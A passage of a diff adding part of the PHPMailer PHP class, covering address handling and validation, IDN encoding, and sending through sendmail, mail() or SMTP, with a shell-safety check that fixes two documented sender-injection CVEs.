qmail. + */ + public function isQmail() + { + $ini_sendmail_path = ini_get('sendmail_path'); + + if (!stristr($ini_sendmail_path, 'qmail')) { + $this->Sendmail = '/var/qmail/bin/qmail-inject'; + } else { + $this->Sendmail = $ini_sendmail_path; + } + $this->Mailer = 'qmail'; + } + + /** + * Add a "To" address. + * + * @param string $address The email address to send to + * @param string $name + * + * @return bool true on success, false if address already used or invalid in some way + */ + public function addAddress($address, $name = '') + { + return $this->addOrEnqueueAnAddress('to', $address, $name); + } + + /** + * Add a "CC" address. + * + * @param string $address The email address to send to + * @param string $name + * + * @return bool true on success, false if address already used or invalid in some way + */ + public function addCC($address, $name = '') + { + return $this->addOrEnqueueAnAddress('cc', $address, $name); + } + + /** + * Add a "BCC" address. + * + * @param string $address The email address to send to + * @param string $name + * + * @return bool true on success, false if address already used or invalid in some way + */ + public function addBCC($address, $name = '') + { + return $this->addOrEnqueueAnAddress('bcc', $address, $name); + } + + /** + * Add a "Reply-To" address. + * + * @param string $address The email address to reply to + * @param string $name + * + * @return bool true on success, false if address already used or invalid in some way + */ + public function addReplyTo($address, $name = '') + { + return $this->addOrEnqueueAnAddress('Reply-To', $address, $name); + } + + /** + * Add an address to one of the recipient arrays or to the ReplyTo array. Because PHPMailer + * can't validate addresses with an IDN without knowing the PHPMailer::$CharSet (that can still + * be modified after calling this function), addition of such addresses is delayed until send(). + * Addresses that have been added already return false, but do not throw exceptions. + * + * @param string $kind One of 'to', 'cc', 'bcc', or 'ReplyTo' + * @param string $address The email address to send, resp. to reply to + * @param string $name + * + * @throws Exception + * + * @return bool true on success, false if address already used or invalid in some way + */ + protected function addOrEnqueueAnAddress($kind, $address, $name) + { + $address = trim($address); + $name = trim(preg_replace('/[\r\n]+/', '', $name)); //Strip breaks and trim + $pos = strrpos($address, '@'); + if (false === $pos) { + // At-sign is missing. + $error_message = $this->lang('invalid_address') . " (addAnAddress $kind): $address"; + $this->setError($error_message); + $this->edebug($error_message); + if ($this->exceptions) { + throw new Exception($error_message); + } + + return false; + } + $params = [$kind, $address, $name]; + // Enqueue addresses with IDN until we know the PHPMailer::$CharSet. + if ($this->has8bitChars(substr($address, ++$pos)) and $this->idnSupported()) { + if ('Reply-To' != $kind) { + if (!array_key_exists($address, $this->RecipientsQueue)) { + $this->RecipientsQueue[$address] = $params; + + return true; + } + } else { + if (!array_key_exists($address, $this->ReplyToQueue)) { + $this->ReplyToQueue[$address] = $params; + + return true; + } + } + + return false; + } + + // Immediately add standard addresses without IDN. + return call_user_func_array([$this, 'addAnAddress'], $params); + } + + /** + * Add an address to one of the recipient arrays or to the ReplyTo array. + * Addresses that have been added already return false, but do not throw exceptions. + * + * @param string $kind One of 'to', 'cc', 'bcc', or 'ReplyTo' + * @param string $address The email address to send, resp. to reply to + * @param string $name + * + * @throws Exception + * + * @return bool true on success, false if address already used or invalid in some way + */ + protected function addAnAddress($kind, $address, $name = '') + { + if (!in_array($kind, ['to', 'cc', 'bcc', 'Reply-To'])) { + $error_message = $this->lang('Invalid recipient kind: ') . $kind; + $this->setError($error_message); + $this->edebug($error_message); + if ($this->exceptions) { + throw new Exception($error_message); + } + + return false; + } + if (!static::validateAddress($address)) { + $error_message = $this->lang('invalid_address') . " (addAnAddress $kind): $address"; + $this->setError($error_message); + $this->edebug($error_message); + if ($this->exceptions) { + throw new Exception($error_message); + } + + return false; + } + if ('Reply-To' != $kind) { + if (!array_key_exists(strtolower($address), $this->all_recipients)) { + array_push($this->$kind, [$address, $name]); + $this->all_recipients[strtolower($address)] = true; + + return true; + } + } else { + if (!array_key_exists(strtolower($address), $this->ReplyTo)) { + $this->ReplyTo[strtolower($address)] = [$address, $name]; + + return true; + } + } + + return false; + } + + /** + * Parse and validate a string containing one or more RFC822-style comma-separated email addresses + * of the form "display name
    " into an array of name/address pairs. + * Uses the imap_rfc822_parse_adrlist function if the IMAP extension is available. + * Note that quotes in the name part are removed. + * + * @see http://www.andrew.cmu.edu/user/agreen1/testing/mrbs/web/Mail/RFC822.php A more careful implementation + * + * @param string $addrstr The address list string + * @param bool $useimap Whether to use the IMAP extension to parse the list + * + * @return array + */ + public static function parseAddresses($addrstr, $useimap = true) + { + $addresses = []; + if ($useimap and function_exists('imap_rfc822_parse_adrlist')) { + //Use this built-in parser if it's available + $list = imap_rfc822_parse_adrlist($addrstr, ''); + foreach ($list as $address) { + if ('.SYNTAX-ERROR.' != $address->host) { + if (static::validateAddress($address->mailbox . '@' . $address->host)) { + $addresses[] = [ + 'name' => (property_exists($address, 'personal') ? $address->personal : ''), + 'address' => $address->mailbox . '@' . $address->host, + ]; + } + } + } + } else { + //Use this simpler parser + $list = explode(',', $addrstr); + foreach ($list as $address) { + $address = trim($address); + //Is there a separate name part? + if (strpos($address, '<') === false) { + //No separate name, just use the whole thing + if (static::validateAddress($address)) { + $addresses[] = [ + 'name' => '', + 'address' => $address, + ]; + } + } else { + list($name, $email) = explode('<', $address); + $email = trim(str_replace('>', '', $email)); + if (static::validateAddress($email)) { + $addresses[] = [ + 'name' => trim(str_replace(['"', "'"], '', $name)), + 'address' => $email, + ]; + } + } + } + } + + return $addresses; + } + + /** + * Set the From and FromName properties. + * + * @param string $address + * @param string $name + * @param bool $auto Whether to also set the Sender address, defaults to true + * + * @throws Exception + * + * @return bool + */ + public function setFrom($address, $name = '', $auto = true) + { + $address = trim($address); + $name = trim(preg_replace('/[\r\n]+/', '', $name)); //Strip breaks and trim + // Don't validate now addresses with IDN. Will be done in send(). + $pos = strrpos($address, '@'); + if (false === $pos or + (!$this->has8bitChars(substr($address, ++$pos)) or !$this->idnSupported()) and + !static::validateAddress($address)) { + $error_message = $this->lang('invalid_address') . " (setFrom) $address"; + $this->setError($error_message); + $this->edebug($error_message); + if ($this->exceptions) { + throw new Exception($error_message); + } + + return false; + } + $this->From = $address; + $this->FromName = $name; + if ($auto) { + if (empty($this->Sender)) { + $this->Sender = $address; + } + } + + return true; + } + + /** + * Return the Message-ID header of the last email. + * Technically this is the value from the last time the headers were created, + * but it's also the message ID of the last sent message except in + * pathological cases. + * + * @return string + */ + public function getLastMessageID() + { + return $this->lastMessageID; + } + + /** + * Check that a string looks like an email address. + * Validation patterns supported: + * * `auto` Pick best pattern automatically; + * * `pcre8` Use the squiloople.com pattern, requires PCRE > 8.0; + * * `pcre` Use old PCRE implementation; + * * `php` Use PHP built-in FILTER_VALIDATE_EMAIL; + * * `html5` Use the pattern given by the HTML5 spec for 'email' type form input elements. + * * `noregex` Don't use a regex: super fast, really dumb. + * Alternatively you may pass in a callable to inject your own validator, for example: + * + * ```php + * PHPMailer::validateAddress('user@example.com', function($address) { + * return (strpos($address, '@') !== false); + * }); + * ``` + * + * You can also set the PHPMailer::$validator static to a callable, allowing built-in methods to use your validator. + * + * @param string $address The email address to check + * @param string|callable $patternselect Which pattern to use + * + * @return bool + */ + public static function validateAddress($address, $patternselect = null) + { + if (null === $patternselect) { + $patternselect = static::$validator; + } + if (is_callable($patternselect)) { + return call_user_func($patternselect, $address); + } + //Reject line breaks in addresses; it's valid RFC5322, but not RFC5321 + if (strpos($address, "\n") !== false or strpos($address, "\r") !== false) { + return false; + } + switch ($patternselect) { + case 'pcre': //Kept for BC + case 'pcre8': + /* + * A more complex and more permissive version of the RFC5322 regex on which FILTER_VALIDATE_EMAIL + * is based. + * In addition to the addresses allowed by filter_var, also permits: + * * dotless domains: `a@b` + * * comments: `1234 @ local(blah) .machine .example` + * * quoted elements: `'"test blah"@example.org'` + * * numeric TLDs: `a@b.123` + * * unbracketed IPv4 literals: `a@192.168.0.1` + * * IPv6 literals: 'first.last@[IPv6:a1::]' + * Not all of these will necessarily work for sending! + * + * @see http://squiloople.com/2009/12/20/email-address-validation/ + * @copyright 2009-2010 Michael Rushton + * Feel free to use and redistribute this code. But please keep this copyright notice. + */ + return (bool) preg_match( + '/^(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){255,})(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){65,}@)' . + '((?>(?>(?>((?>(?>(?>\x0D\x0A)?[\t ])+|(?>[\t ]*\x0D\x0A)?[\t ]+)?)(\((?>(?2)' . + '(?>[\x01-\x08\x0B\x0C\x0E-\'*-\[\]-\x7F]|\\\[\x00-\x7F]|(?3)))*(?2)\)))+(?2))|(?2))?)' . + '([!#-\'*+\/-9=?^-~-]+|"(?>(?2)(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\x7F]))*' . + '(?2)")(?>(?1)\.(?1)(?4))*(?1)@(?!(?1)[a-z0-9-]{64,})(?1)(?>([a-z0-9](?>[a-z0-9-]*[a-z0-9])?)' . + '(?>(?1)\.(?!(?1)[a-z0-9-]{64,})(?1)(?5)){0,126}|\[(?:(?>IPv6:(?>([a-f0-9]{1,4})(?>:(?6)){7}' . + '|(?!(?:.*[a-f0-9][:\]]){8,})((?6)(?>:(?6)){0,6})?::(?7)?))|(?>(?>IPv6:(?>(?6)(?>:(?6)){5}:' . + '|(?!(?:.*[a-f0-9]:){6,})(?8)?::(?>((?6)(?>:(?6)){0,4}):)?))?(25[0-5]|2[0-4][0-9]|1[0-9]{2}' . + '|[1-9]?[0-9])(?>\.(?9)){3}))\])(?1)$/isD', + $address + ); + case 'html5': + /* + * This is the pattern used in the HTML5 spec for validation of 'email' type form input elements. + * + * @see http://www.whatwg.org/specs/web-apps/current-work/#e-mail-state-(type=email) + */ + return (bool) preg_match( + '/^[a-zA-Z0-9.!#$%&\'*+\/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}' . + '[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$/sD', + $address + ); + case 'php': + default: + return (bool) filter_var($address, FILTER_VALIDATE_EMAIL); + } + } + + /** + * Tells whether IDNs (Internationalized Domain Names) are supported or not. This requires the + * `intl` and `mbstring` PHP extensions. + * + * @return bool `true` if required functions for IDN support are present + */ + public function idnSupported() + { + return function_exists('idn_to_ascii') and function_exists('mb_convert_encoding'); + } + + /** + * Converts IDN in given email address to its ASCII form, also known as punycode, if possible. + * Important: Address must be passed in same encoding as currently set in PHPMailer::$CharSet. + * This function silently returns unmodified address if: + * - No conversion is necessary (i.e. domain name is not an IDN, or is already in ASCII form) + * - Conversion to punycode is impossible (e.g. required PHP functions are not available) + * or fails for any reason (e.g. domain contains characters not allowed in an IDN). + * + * @see PHPMailer::$CharSet + * + * @param string $address The email address to convert + * + * @return string The encoded address in ASCII form + */ + public function punyencodeAddress($address) + { + // Verify we have required functions, CharSet, and at-sign. + $pos = strrpos($address, '@'); + if ($this->idnSupported() and + !empty($this->CharSet) and + false !== $pos + ) { + $domain = substr($address, ++$pos); + // Verify CharSet string is a valid one, and domain properly encoded in this CharSet. + if ($this->has8bitChars($domain) and @mb_check_encoding($domain, $this->CharSet)) { + $domain = mb_convert_encoding($domain, 'UTF-8', $this->CharSet); + //Ignore IDE complaints about this line - method signature changed in PHP 5.4 + $errorcode = 0; + $punycode = idn_to_ascii($domain, $errorcode, INTL_IDNA_VARIANT_UTS46); + if (false !== $punycode) { + return substr($address, 0, $pos) . $punycode; + } + } + } + + return $address; + } + + /** + * Create a message and send it. + * Uses the sending method specified by $Mailer. + * + * @throws Exception + * + * @return bool false on error - See the ErrorInfo property for details of the error + */ + public function send() + { + try { + if (!$this->preSend()) { + return false; + } + + return $this->postSend(); + } catch (Exception $exc) { + $this->mailHeader = ''; + $this->setError($exc->getMessage()); + if ($this->exceptions) { + throw $exc; + } + + return false; + } + } + + /** + * Prepare a message for sending. + * + * @throws Exception + * + * @return bool + */ + public function preSend() + { + if ('smtp' == $this->Mailer or + ('mail' == $this->Mailer and stripos(PHP_OS, 'WIN') === 0) + ) { + //SMTP mandates RFC-compliant line endings + //and it's also used with mail() on Windows + static::setLE("\r\n"); + } else { + //Maintain backward compatibility with legacy Linux command line mailers + static::setLE(PHP_EOL); + } + //Check for buggy PHP versions that add a header with an incorrect line break + if (ini_get('mail.add_x_header') == 1 + and 'mail' == $this->Mailer + and stripos(PHP_OS, 'WIN') === 0 + and ((version_compare(PHP_VERSION, '7.0.0', '>=') + and version_compare(PHP_VERSION, '7.0.17', '<')) + or (version_compare(PHP_VERSION, '7.1.0', '>=') + and version_compare(PHP_VERSION, '7.1.3', '<'))) + ) { + trigger_error( + 'Your version of PHP is affected by a bug that may result in corrupted messages.' . + ' To fix it, switch to sending using SMTP, disable the mail.add_x_header option in' . + ' your php.ini, switch to MacOS or Linux, or upgrade your PHP to version 7.0.17+ or 7.1.3+.', + E_USER_WARNING + ); + } + + try { + $this->error_count = 0; // Reset errors + $this->mailHeader = ''; + + // Dequeue recipient and Reply-To addresses with IDN + foreach (array_merge($this->RecipientsQueue, $this->ReplyToQueue) as $params) { + $params[1] = $this->punyencodeAddress($params[1]); + call_user_func_array([$this, 'addAnAddress'], $params); + } + if (count($this->to) + count($this->cc) + count($this->bcc) < 1) { + throw new Exception($this->lang('provide_address'), self::STOP_CRITICAL); + } + + // Validate From, Sender, and ConfirmReadingTo addresses + foreach (['From', 'Sender', 'ConfirmReadingTo'] as $address_kind) { + $this->$address_kind = trim($this->$address_kind); + if (empty($this->$address_kind)) { + continue; + } + $this->$address_kind = $this->punyencodeAddress($this->$address_kind); + if (!static::validateAddress($this->$address_kind)) { + $error_message = $this->lang('invalid_address') . ' (punyEncode) ' . $this->$address_kind; + $this->setError($error_message); + $this->edebug($error_message); + if ($this->exceptions) { + throw new Exception($error_message); + } + + return false; + } + } + + // Set whether the message is multipart/alternative + if ($this->alternativeExists()) { + $this->ContentType = 'multipart/alternative'; + } + + $this->setMessageType(); + // Refuse to send an empty message unless we are specifically allowing it + if (!$this->AllowEmpty and empty($this->Body)) { + throw new Exception($this->lang('empty_message'), self::STOP_CRITICAL); + } + + //Trim subject consistently + $this->Subject = trim($this->Subject); + // Create body before headers in case body makes changes to headers (e.g. altering transfer encoding) + $this->MIMEHeader = ''; + $this->MIMEBody = $this->createBody(); + // createBody may have added some headers, so retain them + $tempheaders = $this->MIMEHeader; + $this->MIMEHeader = $this->createHeader(); + $this->MIMEHeader .= $tempheaders; + + // To capture the complete message when using mail(), create + // an extra header list which createHeader() doesn't fold in + if ('mail' == $this->Mailer) { + if (count($this->to) > 0) { + $this->mailHeader .= $this->addrAppend('To', $this->to); + } else { + $this->mailHeader .= $this->headerLine('To', 'undisclosed-recipients:;'); + } + $this->mailHeader .= $this->headerLine( + 'Subject', + $this->encodeHeader($this->secureHeader($this->Subject)) + ); + } + + // Sign with DKIM if enabled + if (!empty($this->DKIM_domain) + and !empty($this->DKIM_selector) + and (!empty($this->DKIM_private_string) + or (!empty($this->DKIM_private) and file_exists($this->DKIM_private)) + ) + ) { + $header_dkim = $this->DKIM_Add( + $this->MIMEHeader . $this->mailHeader, + $this->encodeHeader($this->secureHeader($this->Subject)), + $this->MIMEBody + ); + $this->MIMEHeader = rtrim($this->MIMEHeader, "\r\n ") . static::$LE . + static::normalizeBreaks($header_dkim) . static::$LE; + } + + return true; + } catch (Exception $exc) { + $this->setError($exc->getMessage()); + if ($this->exceptions) { + throw $exc; + } + + return false; + } + } + + /** + * Actually send a message via the selected mechanism. + * + * @throws Exception + * + * @return bool + */ + public function postSend() + { + try { + // Choose the mailer and send through it + switch ($this->Mailer) { + case 'sendmail': + case 'qmail': + return $this->sendmailSend($this->MIMEHeader, $this->MIMEBody); + case 'smtp': + return $this->smtpSend($this->MIMEHeader, $this->MIMEBody); + case 'mail': + return $this->mailSend($this->MIMEHeader, $this->MIMEBody); + default: + $sendMethod = $this->Mailer . 'Send'; + if (method_exists($this, $sendMethod)) { + return $this->$sendMethod($this->MIMEHeader, $this->MIMEBody); + } + + return $this->mailSend($this->MIMEHeader, $this->MIMEBody); + } + } catch (Exception $exc) { + $this->setError($exc->getMessage()); + $this->edebug($exc->getMessage()); + if ($this->exceptions) { + throw $exc; + } + } + + return false; + } + + /** + * Send mail using the $Sendmail program. + * + * @see PHPMailer::$Sendmail + * + * @param string $header The message headers + * @param string $body The message body + * + * @throws Exception + * + * @return bool + */ + protected function sendmailSend($header, $body) + { + // CVE-2016-10033, CVE-2016-10045: Don't pass -f if characters will be escaped. + if (!empty($this->Sender) and self::isShellSafe($this->Sender)) { + if ('qmail' == $this->Mailer) { + $sendmailFmt = '%s -f%s'; + } else { + $sendmailFmt = '%s -oi -f%s -t'; + } + } else { + if ('qmail' == $this->Mailer) { + $sendmailFmt = '%s'; + } else { + $sendmailFmt = '%s -oi -t'; + } + } + + $sendmail = sprintf($sendmailFmt, escapeshellcmd($this->Sendmail), $this->Sender); + + if ($this->SingleTo) { + foreach ($this->SingleToArray as $toAddr) { + $mail = @popen($sendmail, 'w'); + if (!$mail) { + throw new Exception($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL); + } + fwrite($mail, 'To: ' . $toAddr . "\n"); + fwrite($mail, $header); + fwrite($mail, $body); + $result = pclose($mail); + $this->doCallback( + ($result == 0), + [$toAddr], + $this->cc, + $this->bcc, + $this->Subject, + $body, + $this->From, + [] + ); + if (0 !== $result) { + throw new Exception($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL); + } + } + } else { + $mail = @popen($sendmail, 'w'); + if (!$mail) { + throw new Exception($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL); + } + fwrite($mail, $header); + fwrite($mail, $body); + $result = pclose($mail); + $this->doCallback( + ($result == 0), + $this->to, + $this->cc, + $this->bcc, + $this->Subject, + $body, + $this->From, + [] + ); + if (0 !== $result) { + throw new Exception($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL); + } + } + + return true; + } + + /** + * Fix CVE-2016-10033 and CVE-2016-10045 by disallowing potentially unsafe shell characters. + * Note that escapeshellarg and escapeshellcmd are inadequate for our purposes, especially on Windows. + * + * @see https://github.com/PHPMailer/PHPMailer/issues/924 CVE-2016-10045 bug report + * + * @param string $string The string to be validated + * + * @return bool + */ + protected static function isShellSafe($string) + { + // Future-proof + if (escapeshellcmd($string) !== $string + or !in_array(escapeshellarg($string), ["'$string'", "\"$string\""]) + ) { + return false; + } + + $length = strlen($string); + + for ($i = 0; $i < $length; ++$i) { + $c = $string[$i]; + + // All other characters have a special meaning in at least one common shell, including = and +. + // Full stop (.) has a special meaning in cmd.exe, but its impact should be negligible here. + // Note that this does permit non-Latin alphanumeric characters based on the current locale. + if (!ctype_alnum($c) && strpos('@_-.', $c) === false) { + return false; + } + } + + return true; + } + + /** + * Send mail using the PHP mail() function. + * + * @see http://www.php.net/manual/en/book.mail.php + * + * @param string $header The message headers + * @param string $body The message body + * + * @throws Exception + * + * @return bool + */ + protected function mailSend($header, $body) + { + $toArr = []; + foreach ($this->to as $toaddr) { + $toArr[] = $this->addrFormat($toaddr); + } + $to = implode(', ', $toArr); + + $params = null; + //This sets the SMTP envelope sender which gets turned into a return-path header by the receiver + if (!empty($this->Sender) and static::validateAddress($this->Sender)) { + //A space after `-f` is optional, but there is a long history of its presence + //causing problems, so we don't use one + //Exim docs: http://www.exim.org/exim-html-current/doc/html/spec_html/ch-the_exim_command_line.html + //Sendmail docs: http://www.sendmail.org/~ca/email/man/sendmail.html + //Qmail docs: http://www.qmail.org/man/man8/qmail-inject.html + //Example problem: https://www.drupal.org/node/1057954 + // CVE-2016-10033, CVE-2016-10045: Don't pass -f if characters will be escaped. + if (self::isShellSafe($this->Sender)) { + $params = sprintf('-f%s', $this->Sender); + } + } + if (!empty($this->Sender) and static::validateAddress($this->Sender)) { + $old_from = ini_get('sendmail_from'); + ini_set('sendmail_from', $this->Sender); + } + $result = false; + if ($this->SingleTo and count($toArr) > 1) { + foreach ($toArr as $toAddr) { + $result = $this->mailPassthru($toAddr, $this->Subject, $body, $header, $params); + $this->doCallback($result, [$toAddr], $this->cc, $this->bcc, $this->Subject, $body, $this->From, []); + } + } else { + $result = $this->mailPassthru($to, $this->Subject, $body, $header, $params); + $this->doCallback($result, $this->to, $this->cc, $this->bcc, $this->Subject, $body, $this->From, []); + } + if (isset($old_from)) { + ini_set('sendmail_from', $old_from); + } + if (!$result) { + throw new Exception($this->lang('instantiate'), self::STOP_CRITICAL); + } + + return true; + } + + /** + * Get an instance to use for SMTP operations. + * Override this function to load your own SMTP implementation, + * or set one with setSMTPInstance. + * + * @return SMTP + */ + public function getSMTPInstance() + { + if (!is_object($this->smtp)) { + $this->smtp = new SMTP(); + } + + return $this->smtp; + } + + /** + * Provide an instance to use for SMTP operations. + * + * @param SMTP $smtp + * + * @return SMTP + */ + public function setSMTPInstance(SMTP $smtp) + { + $this->smtp = $smtp; + + return $this->smtp; + } + + /** + * Send mail via SMTP. + * Returns false if there is a bad MAIL FROM, RCPT, or DATA input. + * + * @see PHPMailer::setSMTPInstance() to use a different class. + * + * @uses \PHPMailer\PHPMailer\SMTP + * + * @param string $header The message headers + * @param string $body The message body + * + * @throws Exception + * + * @return bool + */ + protected function smtpSend($header, $body) + { + $bad_rcpt = []; + if (!$this->smtpConnect($this->SMTPOptions)) { + throw new Exception($this->lang('smtp_connect_failed'), self::STOP_CRITICAL); + } + //Sender already validated in preSend() + if ('' == $this->Sender) { + $smtp_from = $this->From; + } else { + $smtp_from = $this->Sender; + } + if (!$this->smtp->mail($smtp_from)) { + $this->setError($this->lang('from_failed') . $smtp_from . ' : ' . implode(',', $this->smtp->getError())); + throw new Exception($this->ErrorInfo, self::STOP_CRITICAL); + } + + $callbacks = []; + // Attempt to send to all recipients + foreach ([$this->to, $this->cc, $this->bcc] as $togroup) { + foreach ($togroup as $to) { + if (!$this->smtp->recipient($to[0])) { + $error = $this->smtp->getError(); + $bad_rcpt[] = ['to' => $to[0], 'error' => $error['detail']]; + $isSent = false; + } else { + $isSent = true; + } + + $callbacks[] = ['issent'=>$isSent, 'to'=>$to[0]]; + } + } + + // Only send the DATA command if we have viable recipients + if ((count($this->all_recipients) > count($bad_rcpt)) and !$this->smtp->data($header . $body)) { + throw new Exception($this->lang('data_not_accepted'), self::STOP_CRITICAL); + } + + $smtp_transaction_id = $this->smtp->getLastTransactionID(); + + if ($this->SMTPKeepAlive) { + $this->smtp->reset(); + } else { + $this->smtp->quit(); + $this->smtp->close(); + } + + foreach ($callbacks as $cb) { + $this->doCallback( + $cb['issent'], + [$cb['to']], + [], + [], + $this->Subject, + $body, + $this->From, + ['smtp_transaction_id' => $smtp_transaction_id] + ); + } + + //Create error message for any bad addresses + if (count($bad_rcpt) > 0) { + $errstr = ''; + foreach ($bad_rcpt as $bad) { + $errstr .= $bad['to'] . ': ' . $bad['error']; + } + throw new Exception( + $this->lang('recipients_failed') . $errstr, + self::STOP_CONTINUE + ); + } + + return true; + } + + /** + * Initiate a connection to an SMTP server. + * Returns false if the operation failed. + * + * @param array $options An array of options compatible with stream_context_create() + * + * @throws Exception + * + * @uses \PHPMailer\PHPMailer\SMTP + * + * @return bool + */ + public function smtpConnect($options = null) + { + if (null === $this->smtp) { + $this->smtp = $this->getSMTPInstance(); + } + + //If no options are provided, use whatever is set in the instance + if (null === $options) { + $options = $this->SMTPOptions; + } + + // Already connected? + if ($this->smtp->connected()) { + return true; + } + + $this->smtp->setTimeout($this->Timeout); + $this->smtp->setDebugLevel($this->SMTPDebug); + $this->smtp->setDebugOutput($this->Debugoutput); + $this->smtp->setVerp($this->do_verp); + $hosts = explode(';', $this->Host); + $lastexception = null; + + foreach ($hosts as $hostentry) { + $hostinfo = []; + if (!preg_match( + '/^((ssl|tls):\/\/)*([a-zA-Z0-9\.-]*|\[[a-fA-F0-9:]+\]):?([0-9]*)$/', + trim($hostentry), + $hostinfo + )) { + static::edebug($this->lang('connect_host') . ' ' . $hostentry); + // Not a valid host entry + continue; + } + // $hostinfo[2]: optional ssl or tls prefix + // $hostinfo[3]: the hostname + // $hostinfo[4]: optional port number + // The host string prefix can temporarily override the current setting for SMTPSecure + // If it's not specified, the default value is used + + //Check the host name is a valid name or IP address before trying to use it + if (!static::isValidHost($hostinfo[3])) { + static::edebug($this->lang('connect_host') . ' ' . $hostentry); + continue; + } + $prefix = ''; + $secure = $this->SMTPSecure; + $tls = ('tls' == $this->SMTPSecure); + if ('ssl' == $hostinfo[2] or ('' == $hostinfo[2] and 'ssl' == $this->SMTPSecure)) { + $prefix = 'ssl://'; + $tls = false; // Can't have SSL and TLS at the same time + $secure = 'ssl'; + } elseif ('tls' == $hostinfo[2]) { + $tls = true; + // tls doesn't use a prefix + $secure = 'tls'; + } + //Do we need the OpenSSL extension? + $sslext = defined('OPENSSL_ALGO_SHA256'); + if ('tls' === $secure or 'ssl' === $secure) { + //Check for an OpenSSL constant rather than using extension_loaded, which is sometimes disabled + if (!$sslext) { + throw new Exception($this->lang('extension_missing') . 'openssl', self::STOP_CRITICAL); + } + } + $host = $hostinfo[3]; + $port = $this->Port; + $tport = (int) $hostinfo[4]; + if ($tport > 0 and $tport < 65536) { + $port = $tport; + } + if ($this->smtp->connect($prefix . $host, $port, $this->Timeout, $options)) { + try { + if ($this->Helo) { + $hello = $this->Helo; + } else { + $hello = $this->serverHostname(); + } + $this->smtp->hello($hello); + //Automatically enable TLS encryption if: + // * it's not disabled + // * we have openssl extension + // * we are not already using SSL + // * the server offers STARTTLS + if ($this->SMTPAutoTLS and $sslext and $secure != 'ssl' and $this->smtp->getServerExt('STARTTLS')) { + $tls = true; + } + if ($tls) { + if (!$this->smtp->startTLS()) { + throw new Exception($this->lang('connect_host')); + } + // We must resend EHLO after TLS negotiation + $this->smtp->hello($hello); + } + if ($this->SMTPAuth) { + if (!$this->smtp->authenticate( + $this->Username, + $this->Password, + $this->AuthType, + $this->oauth + ) + ) { + throw new Exception($this->lang('authenticate')); + } + } + + return true; + } catch (Exception $exc) { + $lastexception = $exc; + $this->edebug($exc->getMessage()); + // We must have connected, but then failed TLS or Auth, so close connection nicely + $this->smtp->quit(); + } + } + } + // If we get here, all connection attempts have failed, so close connection hard + $this->smtp->close(); + // As we've caught all exceptions, just report whatever the last one was + if ($this->exceptions and null !== $lastexception) { + throw $lastexception; + } + + return false; + } + + /** + * Close the active SMTP session if one exists. + */ + public function smtpClose() + { + if (null !== $this->smtp) { + if ($this->smtp->connected()) { + $this->smtp->quit(); + $this->smtp->close(); + } + } + } + + /** + * Set the language for error messages. + * Returns false if it cannot load the language file. + * The default language is English. + * + * @param string $langcode ISO 639-1 2-character language code (e.g. French is "fr") + * @param string $lang_path Path to the language file directory, with trailing separator (slash) + * + * @return bool + */ + public function setLanguage($langcode = 'en', $lang_path = '') + { + // Backwards compatibility for renamed language codes + $renamed_langcodes = [ + 'br' => 'pt_br', + 'cz' => 'cs', + 'dk' => 'da', + 'no' => 'nb', + 'se' => 'sv', + 'sr' => 'rs', + ]; + + if (isset($renamed_langcodes[$langcode])) { + $langcode = $renamed_langcodes[$langcode]; + } + + // Define full set of translatable strings in English + $PHPMAILER_LANG = [ + 'authenticate' => 'SMTP Error: Could not authenticate.', + 'connect_host' => 'SMTP Error: Could not connect to SMTP host.', + 'data_not_accepted' => 'SMTP Error: data not accepted.', + 'empty_message' => 'Message body empty', + 'encoding' => 'Unknown encoding: ', + 'execute' => 'Could not execute: ', + 'file_access' => 'Could not access file: ', + 'file_open' => 'File Error: Could not open file: ', + 'from_failed' => 'The following From address failed: ', + 'instantiate' => 'Could not instantiate mail function.', + 'invalid_address' => 'Invalid address: ', + 'mailer_not_supported' => ' mailer is not supported.', + 'provide_address' => 'You must provide at least one recipient email address.', + 'recipients_failed' => 'SMTP Error: The following recipients failed: ', + 'signing' => 'Signing Error: ', + 'smtp_connect_failed' => 'SMTP connect() failed.', + 'smtp_error' => 'SMTP server error: ', + 'variable_set' => 'Cannot set or reset variable: ', + 'extension_missing' => 'Extension missing: ', + ]; + if (empty($lang_path)) { + // Calculate an absolute path so it can work if CWD is not here + $lang_path = __DIR__ . DIRECTORY_SEPARATOR . 'language' . DIRECTORY_SEPARATOR; + } + //Validate $langcode + if (!preg_match('/^[a-z]{2}(?:_[a-zA-Z]{2})?$/', $langcode)) { + $langcode = 'en'; + } + $foundlang = true; + $lang_file = $lang_path . 'phpmailer.lang-' . $langcode . '.php'; + // There is no English translation file + if ('en' != $langcode) { + // Make sure language file path is readable + if (!file_exists($lang_file)) { + $foundlang = false; + } else { + // Overwrite language-specific strings. + // This way we'll never have missing translation keys. + $foundlang = include $lang_file; + } + } + $this->language = $PHPMAILER_LANG; + + return (bool) $foundlang; // Returns false if language not found + } + + /** + * Get the array of strings for the current language. + * + * @return array + */ + public function getTranslations() + { + return $this->language; + } + + /** + * Create recipient headers. + * + * @param string $type + * @param array $addr An array of recipients, + * where each recipient is a 2-element indexed array with element 0 containing an address + * and element 1 containing a name, like: + * [['joe@example.com', 'Joe User'], ['zoe@example.com', 'Zoe User']] + * + * @return string + */ + public function addrAppend($type, $addr) + { + $addresses = []; + foreach ($addr as $address) { + $addresses[] = $this->addrFormat($address); + } + + return $type . ': ' . implode(', ', $addresses) . static::$LE; + } + + /** + * Format an address for use in a message header. + * + * @param array $addr A 2-element indexed array, element 0 containing an address, element 1 containing a name like + * ['joe@example.com', 'Joe User'] + * + * @return string + */ + public function addrFormat($addr) + { + if (empty($addr[1])) { // No name provided + return $this->secureHeader($addr[0]); + } + + return $this->encodeHeader($this->secureHeader($addr[1]), 'phrase') . ' <' . $this->secureHeader( + $addr[0] + ) . '>'; + } + + /** + * Word-wrap message. + * For use with mailers that do not automatically perform wrapping + * and for quoted-printable encoded messages. + * Original written by philippe. + * + * @param string $message The message to wrap + * @param int $length The line length to wrap to + * @param bool $qp_mode Whether to run in Quoted-Printable mode + * + * @return string + */ + public function wrapText($message, $length, $qp_mode = false) + { + if 